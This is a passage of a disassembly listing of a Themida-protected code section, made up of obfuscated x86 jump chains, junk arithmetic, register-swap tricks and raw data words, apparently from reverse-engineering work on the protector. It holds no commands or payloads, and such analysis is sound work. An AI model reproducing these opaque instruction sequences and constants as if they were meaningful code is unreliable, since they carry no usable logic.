XREF: Themida_:005585F3j ; Themida_:0055C5CDj push dword ptr [esp] push dword ptr [esp] push dword ptr [esp] jmp loc_557FE0 ; --------------------------------------------------------------------------- loc_569A55: ; CODE XREF: Themida_:loc_561F41j jmp loc_565238 ; --------------------------------------------------------------------------- loc_569A5A: ; CODE XREF: Themida_:00567065j shr edi, 3 dec edi inc edi sub edi, 947F27F8h sub edx, edi pop edi sub edx, 491D1098h jmp loc_56A663 ; --------------------------------------------------------------------------- loc_569A73: ; CODE XREF: Themida_:0055C7F4j sub edx, 73EB5D9h jmp loc_568871 ; --------------------------------------------------------------------------- dw 0C5FEh dd 0F6E95066h, 0E9FFFF61h, 0FFFF874Dh ; --------------------------------------------------------------------------- loc_569A8C: ; CODE XREF: Themida_:0055E01Fj shl cl, 2 jnp loc_55EB58 or cl, 90h jp loc_55E0F8 push edx push dword ptr [esp] pop eax add esp, 4 push 0DEEh jmp loc_55FBDF ; --------------------------------------------------------------------------- dd 4EC81h, 34890000h, 66766824h, 348B6794h, 4C48324h, 525EF509h dd 96FF73BAh, 0C8ED8167h, 294D3165h, 0C8C581D5h, 0E94D3165h dd 0FFFF0CBCh, 0E9243C86h, 0FFFEC7FFh ; --------------------------------------------------------------------------- loc_569AE8: ; CODE XREF: Themida_:0056AA37j add ebx, ebp pop ebp add ebp, ebx pop ebx dec ebp neg ebp add ebp, 60ED51F7h xor ebp, 0B439C48Bh sub ebx, ebp pop ebp sub ebx, 64CE6BD4h add ebx, eax jmp loc_55924F ; --------------------------------------------------------------------------- db 81h, 0C6h, 4 dd 0E9000000h, 0FFFEECB7h ; --------------------------------------------------------------------------- loc_569B18: ; CODE XREF: Themida_:00559381j mov [esp], ebp mov ebp, 68A52A1Ch xor ecx, ebp jmp loc_56C611 ; --------------------------------------------------------------------------- dd offset dword_572768 align 4 dd 24048F54h, 4240483h, 31B4E95Bh, 0E9540000h, 0FFFFDDEDh ; --------------------------------------------------------------------------- loc_569B40: ; CODE XREF: Themida_:0056A0AAj mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] pop esp pop ebx jmp loc_5562E7 ; --------------------------------------------------------------------------- loc_569B58: ; CODE XREF: Themida_:00566CFAj sub edx, 5A293B81h jmp loc_564EE0 ; --------------------------------------------------------------------------- loc_569B63: ; CODE XREF: Themida_:005685D3j push ebx xor dword ptr [esp], 764F34FAh push dword ptr [esp] pop eax jmp loc_56AC2F ; --------------------------------------------------------------------------- dd 4EC81h, 14890000h, 92BE5624h, 89133B09h, 96E95EF2h db 30h, 2 dup(0) ; --------------------------------------------------------------------------- loc_569B8B: ; CODE XREF: Themida_:0055F514j add esi, 4 xor esi, [esp] xor [esp], esi xor esi, [esp] pop esp add edx, 4 add edx, 4 xor edx, [esp] xor [esp], edx xor edx, [esp] jmp loc_55A55E ; --------------------------------------------------------------------------- loc_569BB5: ; CODE XREF: Themida_:00563B65j add esp, 4 jmp loc_565CC7 ; --------------------------------------------------------------------------- loc_569BBD: ; CODE XREF: Themida_:00569C5Aj push eax mov eax, 4 add ecx, eax jmp loc_5611F5 ; --------------------------------------------------------------------------- loc_569BCA: ; CODE XREF: Themida_:0056A865j sub edi, ebx add edi, 6F5257F4h pop ebx neg edi not edi jmp loc_55A138 ; --------------------------------------------------------------------------- loc_569BDC: ; CODE XREF: Themida_:005602F1j push eax mov eax, 279E3C58h jmp loc_564DBF ; --------------------------------------------------------------------------- loc_569BE7: ; CODE XREF: Themida_:00567F7Fj push edx push 741E2157h pop edx inc edx add edx, 4CFE5CD7h jmp loc_55BCDF ; --------------------------------------------------------------------------- word_569BFA dw 0AD66h ; DATA XREF: Themida_:00556010o dd 5E356866h, 242C8966h, 6602EC83h, 66241C89h, 44BA6652h dd 0F80E92Eh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_569C16: ; CODE XREF: Themida_:00564917j mov ecx, [esp] add esp, 4 sub esp, 4 jmp loc_56C609 ; --------------------------------------------------------------------------- loc_569C27: ; CODE XREF: Themida_:loc_55B6F7j add dl, 0FCh mov al, dl pop edx xor al, 36h jz loc_5616DA dec al xor al, 8Dh jp loc_5631D4 shr al, 6 xor al, 17h xor ch, al mov eax, [esp] sub esp, 4 mov [esp], ecx push esp pop ecx add ecx, 4 jmp loc_569BBD ; --------------------------------------------------------------------------- loc_569C5F: ; CODE XREF: Themida_:0055E94Dj sub [esp], eax pushf jmp loc_56C105 ; --------------------------------------------------------------------------- dd 181CE951h, 8950FFFFh, 405E0h, 0E9560000h, 2BF7h ; --------------------------------------------------------------------------- loc_569C7C: ; CODE XREF: Themida_:0055B9C0j push ebx mov bh, 97h push cx jmp loc_561470 ; --------------------------------------------------------------------------- loc_569C86: ; CODE XREF: Themida_:00566FCDj shl ebp, 7 sub ebp, 0E92DFC82h mov eax, ebp mov ebp, [esp] add esp, 4 jmp loc_559779 ; --------------------------------------------------------------------------- loc_569C9F: ; CODE XREF: Themida_:0056BFBCj shl edx, 2 push eax push edi mov edi, 40CD6C87h mov eax, edi jmp loc_556D12 ; --------------------------------------------------------------------------- loc_569CB0: ; CODE XREF: Themida_:0056543Cj add edi, 4BDB21A7h add edx, edi pop edi add edx, 4 sub esp, 4 mov [esp], edx push dword ptr [esp+4] pop edx pop dword ptr [esp] mov esp, [esp] xor ebx, [esp] xor [esp], ebx xor ebx, [esp] pop esp jmp loc_567412 ; --------------------------------------------------------------------------- loc_569CDC: ; CODE XREF: Themida_:005587CAj movzx eax, al jmp loc_556935 ; --------------------------------------------------------------------------- loc_569CE4: ; CODE XREF: Themida_:00568E43j mov eax, 4 jmp loc_55E68E ; --------------------------------------------------------------------------- loc_569CEE: ; CODE XREF: Themida_:0055FC9Cj mov ecx, [esp] push edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] pop esp add esi, eax mov eax, [esp] add esp, 4 jmp loc_559864 ; --------------------------------------------------------------------------- dd 7249FDBDh, 0A0BE97Ah db 2 dup(0) ; --------------------------------------------------------------------------- loc_569D1E: ; CODE XREF: Themida_:00565FC8j push 1D2Bh mov [esp], ebp mov ebp, esp jmp loc_56AE76 ; --------------------------------------------------------------------------- loc_569D2D: ; CODE XREF: Themida_:0055EB5Bj jmp loc_55724D ; --------------------------------------------------------------------------- loc_569D32: ; CODE XREF: Themida_:0056D687j pop eax push ecx mov ecx, esp add ecx, 4 push 5D00h mov [esp], eax mov eax, 4 add ecx, eax jmp loc_55F469 ; --------------------------------------------------------------------------- loc_569D50: ; CODE XREF: Themida_:00568BA3j pop edx add ebx, 72251F10h sub ebx, eax sub ebx, 72251F10h add ebx, 3A4C120Ch push ebp jmp loc_55E0C6 ; --------------------------------------------------------------------------- loc_569D6B: ; CODE XREF: Themida_:0055EC40j pop dword ptr [esp] mov esp, [esp] rol byte ptr [esp], cl pushf jmp loc_5562E7 ; --------------------------------------------------------------------------- loc_569D7A: ; CODE XREF: Themida_:00557248j xchg eax, esi jmp loc_559C86 ; --------------------------------------------------------------------------- loc_569D80: ; CODE XREF: Themida_:0055CC47j add edx, 0C003E887h add ebx, 640F6461h jmp loc_55B507 ; --------------------------------------------------------------------------- loc_569D91: ; CODE XREF: Themida_:0055A0D5j push ebp mov ebp, 1A80439Dh jmp loc_5622E8 ; --------------------------------------------------------------------------- loc_569D9C: ; CODE XREF: Themida_:0055821Ej shl ebx, 4 jmp loc_556402 ; --------------------------------------------------------------------------- loc_569DA4: ; CODE XREF: Themida_:loc_5564FEj add dl, 0B9h jmp loc_56CB58 ; --------------------------------------------------------------------------- loc_569DAC: ; CODE XREF: Themida_:00567994j sub esi, 107E2E64h add esi, eax add esi, 107E2E64h sub esi, 38D731F6h pop eax add esi, 2 jmp loc_565671 ; --------------------------------------------------------------------------- db 25h, 8Ch, 42h dd 0B9514BC0h, 466F3EC7h, 0C138F181h, 0C829B990h, 8E8C159h dd 0BF44DB2Dh, 0E956522Eh, 3A6h ; --------------------------------------------------------------------------- loc_569DEC: ; CODE XREF: Themida_:00560391j pop ebp mov esi, 4C40CEC9h jmp loc_55ED80 ; --------------------------------------------------------------------------- loc_569DF7: ; CODE XREF: Themida_:00559BE5j mov edx, 620BB15h xor eax, edx pop edx push edi mov edi, 7C5F1B00h sub edi, 2F85A1B3h jmp loc_5609FB ; --------------------------------------------------------------------------- loc_569E10: ; CODE XREF: Themida_:00560D6Aj and ecx, 12DE3971h push esi mov esi, 619E08DBh inc esi push edi mov edi, 545B6BC6h sub esi, edi jmp loc_5690F0 ; --------------------------------------------------------------------------- loc_569E2A: ; CODE XREF: Themida_:00566F57j sub edx, 31B57FA7h jmp loc_562B89 ; --------------------------------------------------------------------------- db 0B0h, 66h, 2Ch dd 58C6882Bh, 0F03E6C0h, 0FF332D84h, 51D6F6FFh, 0EDC06BB5h dd 8BF58004h, 0EE9EE30h db 5, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_569E57: ; CODE XREF: Themida_:0056AA3Dj mov edi, esp add edi, 4 jmp loc_557F03 ; --------------------------------------------------------------------------- dd 2EBA525Eh, 813F0E7Ch, 0E6431ACAh, 20870F78h, 0E9FFFF15h dd 6F1h, 80243C89h db 0C4h, 10h, 50h ; --------------------------------------------------------------------------- loc_569E83: ; CODE XREF: Themida_:00561265j xchg ebp, [esp] jmp loc_560F68 ; --------------------------------------------------------------------------- loc_569E8B: ; CODE XREF: Themida_:0055F57Ej mov ebx, [esp] add esp, 4 or eax, eax jmp loc_566EBB ; --------------------------------------------------------------------------- loc_569E98: ; CODE XREF: Themida_:00562A08j add esi, 4 add esi, 4 xchg esi, [esp] pop esp or esi, 3BF36CEh add esi, 0B440C136h add edi, esi pop esi push 4667h mov [esp], eax jmp loc_563BF7 ; --------------------------------------------------------------------------- loc_569EC4: ; CODE XREF: Themida_:00562F53j and eax, ebx mov ebx, [esp] push esi jmp loc_567EBF ; --------------------------------------------------------------------------- db 89h dd 0E9565DE8h, 0FFFFB338h ; --------------------------------------------------------------------------- loc_569ED8: ; CODE XREF: Themida_:00567978j pop ax jmp loc_5661B7 ; --------------------------------------------------------------------------- loc_569EDF: ; CODE XREF: Themida_:005580E8j pop edi push 235Eh mov [esp], ebx push edi mov edi, 4DEF2952h not edi xor edi, 0FE98F3EFh push 402Ch mov [esp], edi sub esp, 4 mov [esp], esi push ecx mov ecx, 599770B9h mov esi, ecx pop ecx add [esp+4], esi jmp loc_55E73E ; --------------------------------------------------------------------------- loc_569F16: ; CODE XREF: Themida_:0055999Fj pop edi jmp loc_557E15 ; --------------------------------------------------------------------------- loc_569F1C: ; CODE XREF: Themida_:0056270Aj ; Themida_:0056D309j xor edx, ecx mov ecx, [esp] push edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] pop esp jmp loc_55DC57 ; --------------------------------------------------------------------------- dw 0C481h dd 4, 0FFCAA2E9h db 0FFh ; --------------------------------------------------------------------------- loc_569F41: ; CODE XREF: Themida_:0056086Dj jmp loc_562F32 ; --------------------------------------------------------------------------- word_569F46 dw 77FFh ; DATA XREF: Themida_:00556170o dd 58669D1Ch, 24041966h, 0C391E99Ch, 0EC83FFFEh, 24348904h dd 0DEA8BA52h, 81520933h, 4ECh, 24048900h, 0C847E7B8h dd 0E68EE971h db 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_569F76: ; CODE XREF: Themida_:0056B05Ej pop eax pop esi jmp loc_558B7B ; --------------------------------------------------------------------------- loc_569F7D: ; CODE XREF: Themida_:00564E2Bj pop eax jmp loc_55C564 ; --------------------------------------------------------------------------- loc_569F83: ; CODE XREF: Themida_:0055CCEBj pop small word ptr [edi+eax*4] jmp loc_5562E7 ; --------------------------------------------------------------------------- loc_569F8C: ; CODE XREF: Themida_:00558DB9j pop dword ptr [esp] add dword ptr [esp], 4 mov esi, [esp] add esp, 4 push eax mov eax, 4 push ebp mov ebp, 0CEB5C3Dh jmp loc_55C6EC ; --------------------------------------------------------------------------- byte_569FAD db 66h, 8Bh, 4 ; DATA XREF: Themida_:0055616Co aHce db '$h√e',0 align 2 dw 1489h aHe_0 db '$h┘`',0 align 2 dw 0EC81h dd 4, 83242489h, 8F042404h, 36E92404h, 1FFFEDAh, 549E2DD0h dd 15A468Dh, 593468F8h, 34890000h, 27B0BE24h, 0EEC12960h dd 4E4E4608h, 0B850D6F7h, 3BF6C02h, 34E9C601h, 0FFFFFB3h dd 1FBC8Eh, 0D417E900h, 8B66FFFEh, 0EC83240Ch, 30055904h dd 819B4C37h, 0F02F6BEFh, 8C0EE93Ah db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56A022: ; CODE XREF: Themida_:005638CBj pop esp jmp loc_559FBD ; --------------------------------------------------------------------------- loc_56A028: ; CODE XREF: Themida_:0055B078j xor [esp], ecx xor ecx, [esp] xor [esp], ecx pop ebx or ebx, 28962091h push ecx push 2455h mov [esp], edx push 60E0450h pop edx xor edx, 21B27C87h xor edx, 0B795A098h jmp loc_557BD3 ; --------------------------------------------------------------------------- db 5Ah ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp xor eax, [esp] xor [esp], eax xor eax, [esp] mov esp, [esp] shl byte ptr [esp], cl pushf jmp loc_5562E7 ; --------------------------------------------------------------------------- loc_56A081: ; CODE XREF: Themida_:0055B45Aj push 68E4h mov [esp], esi push edx push 13D530Eh pop edx sub esp, 4 jmp loc_56D4ED ; --------------------------------------------------------------------------- dd 0E95FFA89h, 0FFFEFEE7h ; --------------------------------------------------------------------------- loc_56A0A0: ; CODE XREF: Themida_:00556F56j mov ecx, [esp] add esp, 4 push edi jmp loc_569B40 ; --------------------------------------------------------------------------- db 5Ch dd 31243433h, 34332434h, 24248B24h, 9C240408h, 0FEC222E9h dd 34BF25FFh, 40485262h, 0E903E0C1h, 0FFFF77D9h ; --------------------------------------------------------------------------- loc_56A0D4: ; CODE XREF: Themida_:00565638j sub eax, 74C14EA6h push eax xor dword ptr [esp], 49283199h pop dword ptr [edi+20h] xor dword ptr [edi+20h], 49283199h push dword ptr [esp] pop eax add esp, 4 xor [edi+20h], eax jmp loc_556DD4 ; --------------------------------------------------------------------------- db 66h, 59h, 53h dd 80FCB252h, 0D788B9F2h, 6E7C05Ah, 403F780h, 2CF80046h dd 0D8285B46h, 0FF8E4FE9h, 24148BFFh, 5104C483h, 19031CB9h dd 0EEEF811Dh, 29272C27h, 0EEC781CFh, 59272C27h, 91C7BB53h dd 0DF298394h, 5FF8315Bh, 6930C181h, 0C1013645h, 1D9AE9h dd 12EF8100h, 587DBD45h, 67F6B05h, 6D4E0530h, 0D8E91090h db 18h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56A167: ; CODE XREF: Themida_:005587ADj neg ecx sub ecx, 3E645930h add ecx, 0BBF508ACh or ebx, ecx pop ecx shl ebx, 1 jmp loc_55FA33 ; --------------------------------------------------------------------------- loc_56A17F: ; CODE XREF: Themida_:0056C9D2j shr eax, 8 jp loc_55A394 inc eax jz loc_567F16 push edi mov edi, esi mov esi, 11E16146h mov edx, 1DCA76CDh xor edx, esi pop esi xor edx, 42917C06h or eax, edx pop edx add eax, 20048415h add esi, eax mov eax, [esp] add esp, 4 jmp loc_564971 ; --------------------------------------------------------------------------- loc_56A1BD: ; CODE XREF: Themida_:0055EBBDj sub ebp, esi add ebp, 16736457h mov esi, [esp] push edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] pop esp xchg ebp, [esp] pop esp mov [esp], esi mov esi, esp push eax sub esp, 4 mov [esp], ecx push 4 mov ecx, [esp] jmp loc_55E1A0 ; --------------------------------------------------------------------------- loc_56A1FB: ; CODE XREF: Themida_:005592ACj xor edi, 0CEA91BD3h sub esi, 9FA5E48h jmp loc_5691EE ; --------------------------------------------------------------------------- loc_56A20C: ; CODE XREF: Themida_:loc_56823Aj add esi, 4C20EC14h add esi, 44784E6Fh jmp loc_5576CE ; --------------------------------------------------------------------------- db 89h, 0C6h, 58h dd 5FB3E681h, 0D2E90A7Dh, 87FFFFC3h, 248B243Ch, 4C58124h db 3 dup(0) ; --------------------------------------------------------------------------- push ebp mov ebp, esp jmp loc_56C96C ; --------------------------------------------------------------------------- byte_56A23F db 66h ; DATA XREF: Themida_:00556094o dd 68240C8Bh, 203Ah, 68241C89h, 73A1h, 81242489h, 42404h dd 84E90000h db 93h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56A25F: ; CODE XREF: Themida_:0056B527j pop ebx push 45D4h mov [esp], esi push edx mov edx, 4 push 5832h mov [esp], ecx push edx sub dword ptr [esp], 647B1596h pop ecx add ecx, 647B1596h push ecx pop esi pop ecx pop edx add ebp, esi pop esi push ebp push dword ptr [esp+4] pop ebp pop dword ptr [esp] mov esp, [esp] shr eax, 0Bh xor ecx, eax push edx mov edx, esp add edx, 4 sub edx, 4 xchg edx, [esp] pop esp mov [esp], ebx jmp loc_56564B ; --------------------------------------------------------------------------- dd 57242C8Bh, 0C7815F54h, 4, 0FF53F0E9h db 0FFh ; --------------------------------------------------------------------------- loc_56A2C9: ; CODE XREF: Themida_:0055FCF8j sub ecx, 0EA93B0B8h push ecx jmp loc_566CB1 ; --------------------------------------------------------------------------- db 87h, 34h, 24h dd 0E924248Bh, 0FFFFCEF0h ; --------------------------------------------------------------------------- loc_56A2E0: ; CODE XREF: Themida_:005674EEj push ebx mov ebx, 0 add ebx, 1E7A3D26h add ebx, ecx push eax mov eax, 1E7A3D26h sub ebx, eax pop eax add eax, [ebx] pop ebx pop ecx pop ebx push 45D5h mov [esp], ebp push esp mov ebp, [esp] jmp loc_567B1E ; --------------------------------------------------------------------------- loc_56A30D: ; CODE XREF: Themida_:0055741Cj push eax mov eax, 750F6D11h mov ebp, 65F977E4h xor ebp, eax pop eax jmp loc_55EE67 ; --------------------------------------------------------------------------- loc_56A320: ; CODE XREF: Themida_:005671EFj sub ecx, eax pop eax sub edx, ecx mov ecx, [esp] add esp, 4 loc_56A32E: ; CODE XREF: Themida_:00559D31j ; Themida_:loc_566EBBj push dword ptr [edi+24h] push edx jmp loc_55FCB1 ; --------------------------------------------------------------------------- loc_56A337: ; CODE XREF: Themida_:0056D5F9j push 12BDh mov [esp], ecx push ebp jmp loc_5589AD ; --------------------------------------------------------------------------- loc_56A345: ; CODE XREF: Themida_:0056A5C1j mov ecx, [esp] add esp, 4 jmp loc_55AB88 ; --------------------------------------------------------------------------- loc_56A353: ; CODE XREF: Themida_:0055E028j ; Themida_:00563FD3j add esp, 4 sub ebp, 537008B7h jmp loc_56B136 ; --------------------------------------------------------------------------- loc_56A361: ; CODE XREF: Themida_:005566F8j jnb loc_55805F jmp loc_56A53C ; --------------------------------------------------------------------------- dd 4BA52h db 2 dup(0), 57h ; --------------------------------------------------------------------------- loc_56A373: ; CODE XREF: Themida_:00563A51j push eax jmp loc_56C9C6 ; --------------------------------------------------------------------------- loc_56A379: ; CODE XREF: Themida_:0056CAE2j shr ecx, 0 or eax, eax jz loc_55E032 push eax jmp loc_562A45 ; --------------------------------------------------------------------------- dw 4B9h dd 1000000h, 2C3359CDh, 0F51EE924h, 4B68FFFFh, 89000046h dd 0E668241Ch, 68000027h, 231Eh, 24048F54h, 4240481h, 0E9000000h dd 0FFFFC238h ; --------------------------------------------------------------------------- loc_56A3BC: ; CODE XREF: Themida_:00568DDDj push 3831h jmp loc_5686D9 ; --------------------------------------------------------------------------- loc_56A3C6: ; CODE XREF: Themida_:00567A05j sub ecx, 121359A0h add ecx, 0D87F2A7Eh mov edi, ecx pop ecx push edi mov edi, 0D714A59h shr edi, 4 add edi, 3C05241Ch sub esi, edi pop edi add esi, edi push ebp mov ebp, 3CDC38C1h add esi, ebp pop ebp push dword ptr [esp] pop edi add esp, 4 jmp loc_557A71 ; --------------------------------------------------------------------------- word_56A3FE dw 77FFh ; DATA XREF: Themida_:0055622Co dd 0A32AE940h, 3489FFFFh, 4BE24h, 0F1010000h, 0FFFA4FE9h dd 2903B8FFh, 10579ECh, 18613D7h, 0C8758C1h, 60E95C24h db 1Fh, 2 dup(0) ; --------------------------------------------------------------------------- loc_56A42B: ; CODE XREF: Themida_:00557BF4j push edi mov edi, 1 sub ebp, edi pop edi push ebp not dword ptr [esp] jmp loc_55E7D0 ; --------------------------------------------------------------------------- loc_56A43D: ; CODE XREF: Themida_:005633A4j pop edi push ecx mov ecx, 7C942CA9h mov edx, 0C08A9DC4h sub edx, ecx jmp loc_55FB97 ; --------------------------------------------------------------------------- dd 1ECEC581h, 0C581057Fh, 399B4FA1h, 0E1BB8F0Fh, 0F581FFFEh dd 0D33038Ch, 2F83850Fh db 2 dup(0FFh), 56h ; --------------------------------------------------------------------------- loc_56A46F: ; CODE XREF: Themida_:0055B576j add esp, 4 push 62B8h mov [esp], edi mov edi, 3CD65792h not edi jmp loc_565BA6 ; --------------------------------------------------------------------------- loc_56A489: ; CODE XREF: Themida_:0055FBC1j mov esi, 4 add ecx, esi pop esi push 1D69h mov [esp], edx sub esp, 4 mov [esp], eax push ebp mov ebp, 116E6777h dec ebp sub ebp, 9E945E14h mov eax, ebp jmp loc_566DB4 ; --------------------------------------------------------------------------- loc_56A4B3: ; CODE XREF: Themida_:00565198j xor eax, 513551C4h add esi, eax pop eax add esi, 4 push esi push dword ptr [esp+4] pop esi pop dword ptr [esp] mov esp, [esp] jmp loc_5562E7 ; --------------------------------------------------------------------------- dw 0B850h dd 1FB718A4h, 0BEE9C101h db 5Dh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56A4DF: ; CODE XREF: Themida_:00560BF0j ; Themida_:005652E5j push 320506BCh push dword ptr [esp] pop esi add esp, 4 jmp loc_55FA94 ; --------------------------------------------------------------------------- loc_56A4F3: ; CODE XREF: Themida_:0055EB93j mov esp, [esp] push esp pop dword ptr [esp] add dword ptr [esp], 4 push dword ptr [esp] push dword ptr [esp] pop esi push edi push esp pop edi add edi, 4 add edi, 4 xchg edi, [esp] pop esp sub esp, 4 mov [esp], ebp push 3428h jmp loc_567803 ; --------------------------------------------------------------------------- loc_56A528: ; CODE XREF: Themida_:0056A63Cj mov ebx, 4 add eax, 680C2B70h add eax, 68AB3FFFh jmp loc_567FED ; --------------------------------------------------------------------------- loc_56A53C: ; CODE XREF: Themida_:00562249j ; Themida_:0056A367j mov [esp], eax jmp loc_5653D6 ; --------------------------------------------------------------------------- loc_56A544: ; CODE XREF: Themida_:00557EB1j or ebp, 9B077AFh xor ebp, 5717386Dh jmp loc_55AF33 ; --------------------------------------------------------------------------- loc_56A555: ; CODE XREF: Themida_:0056C846j pop esi jmp loc_558235 ; --------------------------------------------------------------------------- loc_56A55B: ; CODE XREF: Themida_:00559029j sub ebp, 0F86350EBh jmp loc_5563DA ; --------------------------------------------------------------------------- loc_56A566: ; CODE XREF: Themida_:00558872j xchg eax, edi inc eax jmp loc_55E294 ; --------------------------------------------------------------------------- loc_56A56D: ; CODE XREF: Themida_:0055DD8Fj pop edi xor ebp, [esp] xor [esp], ebp xor ebp, [esp] mov esp, [esp] jmp loc_562BB3 ; --------------------------------------------------------------------------- loc_56A57F: ; CODE XREF: Themida_:00566878j shr edx, 2 xor edx, 2AB7551Fh sub esp, 4 jmp loc_55E674 ; --------------------------------------------------------------------------- loc_56A590: ; CODE XREF: Themida_:005684E2j pop edi jmp loc_55AAAC ; --------------------------------------------------------------------------- loc_56A596: ; CODE XREF: Themida_:005683B9j push 45F5h mov [esp], ecx jmp loc_55F065 ; --------------------------------------------------------------------------- loc_56A5A3: ; CODE XREF: Themida_:0056513Aj add esp, 4 mov ecx, 0DA218078h add ecx, edi jmp loc_5572B4 ; --------------------------------------------------------------------------- loc_56A5B5: ; CODE XREF: Themida_:00558580j ; Themida_:0055A23Ej sub eax, ecx sub eax, 4A562924h add eax, 3D6A2196h jmp loc_56A345 ; --------------------------------------------------------------------------- loc_56A5C6: ; CODE XREF: Themida_:00560103j jp loc_567BA5 jmp loc_5629BC ; --------------------------------------------------------------------------- loc_56A5D1: ; CODE XREF: Themida_:0055AA98j pop esp push edi jmp loc_566BDC ; --------------------------------------------------------------------------- loc_56A5D8: ; CODE XREF: Themida_:0055E366j mov esp, [esp] add dword ptr [esp], 43732895h sub dword ptr [esp], 23546179h push ebp mov ebp, 454F4FAFh sub dword ptr [esp+4], 4AEF3500h add [esp+4], ebp jmp loc_5689FF ; --------------------------------------------------------------------------- loc_56A600: ; CODE XREF: Themida_:0055AC62j add esp, 4 push ecx jmp loc_5612C0 ; --------------------------------------------------------------------------- loc_56A609: ; CODE XREF: Themida_:00558B81j xor ebp, 600800EDh add ebx, ebp pop ebp jmp loc_569153 ; --------------------------------------------------------------------------- loc_56A617: ; CODE XREF: Themida_:0056A901j add eax, ebp mov ebp, [esp] add esp, 4 jmp loc_559BDD ; --------------------------------------------------------------------------- loc_56A627: ; CODE XREF: Themida_:00568955j add edi, 4 xchg edi, [esp] mov esp, [esp] shr eax, 0Eh xor eax, ecx push eax mov eax, esp push ebx jmp loc_56A528 ; --------------------------------------------------------------------------- db 0BEh, 3Fh, 65h dd 81567580h, 5B17242Ch, 81590A22h, 225B17C1h, 24348B0Ah dd 2F47E957h, 32E9FFFFh db 2Ah, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56A663: ; CODE XREF: Themida_:00569A6Ej sub edx, ebx add edx, 491D1098h add edx, 70121988h pop ebx jmp loc_5647CE ; --------------------------------------------------------------------------- db 0FFh dd 83592434h, 0E98104C4h, 265C1E23h, 0FFE38BE9h db 0FFh ; --------------------------------------------------------------------------- loc_56A689: ; CODE XREF: Themida_:0056BCD7j pop ecx jmp loc_568545 ; --------------------------------------------------------------------------- loc_56A68F: ; CODE XREF: Themida_:005571F4j ; Themida_:00569541j add esi, ecx pop ecx mov ebx, esi jmp loc_56294B ; --------------------------------------------------------------------------- loc_56A699: ; CODE XREF: Themida_:0055B5DEj mov esi, ebp pop ebp dec esi add esi, 0F25C952Ch sub ebx, 51775163h add ebx, esi add ebx, 51775163h mov esi, [esp] add esp, 4 xchg ebx, [esp] pop esp jmp loc_55C7F9 ; --------------------------------------------------------------------------- loc_56A6C3: ; CODE XREF: Themida_:0056C44Fj add ebp, 4 add ebp, 4 xor ebp, [esp] xor [esp], ebp xor ebp, [esp] pop esp push edi mov edi, 4 add ebx, edi jmp loc_55F583 ; --------------------------------------------------------------------------- loc_56A6E3: ; CODE XREF: Themida_:0055D4ECj pop edi pop ebp jmp loc_557D62 ; --------------------------------------------------------------------------- loc_56A6EA: ; CODE XREF: Themida_:005650E2j mov ebx, 0FFFFFFFFh add dword ptr [esp+4], 329B1CC5h jmp loc_56D451 ; --------------------------------------------------------------------------- loc_56A6FC: ; CODE XREF: Themida_:0056AEB3j jp loc_567FB8 not ebx inc ebx jmp loc_55CD2D ; --------------------------------------------------------------------------- dw 535Ch dd 8B2434FFh, 0ADE92404h, 83FFFF0Fh, 48904ECh, 2474FF24h dd 2434FF04h, 0FF05DEE9h, 5DEA31FFh, 8B5AD601h, 0C481240Ch dd 4, 2BA52h, 0D6010000h, 27EAE9h, 4C48100h, 89000000h dd 0D3015EF2h, 8124148Bh, 4C4h, 241C3300h, 0E9241C31h dd 0FFFF5699h, 6866h, 0E9241C28h, 8F3h ; --------------------------------------------------------------------------- loc_56A770: ; CODE XREF: Themida_:00568F6Cj pop edi pop dword ptr [esp] mov esp, [esp] jmp loc_568BC2 ; --------------------------------------------------------------------------- dword_56A77C dd 9C241CF7h, 0FEBB62E9h ; DATA XREF: Themida_:00556078o db 0FFh ; --------------------------------------------------------------------------- loc_56A785: ; CODE XREF: Themida_:00564D9Fj add bl, al push dx push cx mov cl, 47h push ebx jmp loc_55E7F6 ; --------------------------------------------------------------------------- loc_56A793: ; CODE XREF: Themida_:00557169j ; Themida_:0055DF2Aj push eax mov al, 6Ch sub al, 0BBh jmp loc_564342 ; --------------------------------------------------------------------------- loc_56A79D: ; CODE XREF: Themida_:0055B917j mov esi, 10AC3050h jmp loc_56B938 ; --------------------------------------------------------------------------- db 31h dd 0F7C631F0h, 0C597E9D0h, 0EC81FFFEh, 4, 0BA241489h, 4 dd 4246C81h, 688F2FADh, 0FF5FC3E9h db 0FFh ; --------------------------------------------------------------------------- loc_56A7CD: ; CODE XREF: Themida_:00560ED1j mov esp, [esp] jmp loc_558FF0 ; --------------------------------------------------------------------------- db 80h, 0EDh, 0FFh dd 1279E9h, 0C7835D00h, 243C8704h, 0E953575Ch, 0FFFFD7EBh ; --------------------------------------------------------------------------- loc_56A7EC: ; CODE XREF: Themida_:00557252j sub cl, 55h jmp loc_565787 ; --------------------------------------------------------------------------- loc_56A7F4: ; CODE XREF: Themida_:00561809j sub ebx, 4B153F5Fh pop ebp add edx, ebx pop ebx push ecx push 4 pop ecx jmp loc_55E408 ; --------------------------------------------------------------------------- loc_56A80A: ; CODE XREF: Themida_:005624B1j push dword ptr [esp] pop ecx push 38E0h mov [esp], esi push esi jmp loc_55A2D9 ; --------------------------------------------------------------------------- loc_56A81C: ; CODE XREF: Themida_:005664FDj xchg eax, edx push dword ptr [esp] pop eax add esp, 4 xor edx, 0CC6B0F0Bh jmp loc_560304 ; --------------------------------------------------------------------------- loc_56A832: ; CODE XREF: Themida_:0055AD8Bj push 21D0h jmp loc_5686A8 ; --------------------------------------------------------------------------- dd 0C79DF181h, 0CB29E039h, 5BDF2959h, 7E68DF29h, 89000055h dd 0ED68242Ch, 8900002Bh, 7E9243Ch db 60h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56A85F: ; CODE XREF: Themida_:0055BC7Ej sub edi, 6F5257F4h jmp loc_569BCA ; --------------------------------------------------------------------------- loc_56A86A: ; CODE XREF: Themida_:0055792Ej ; Themida_:0055CE88j mov ebp, edx pop edx jmp loc_564A4B ; --------------------------------------------------------------------------- loc_56A872: ; CODE XREF: 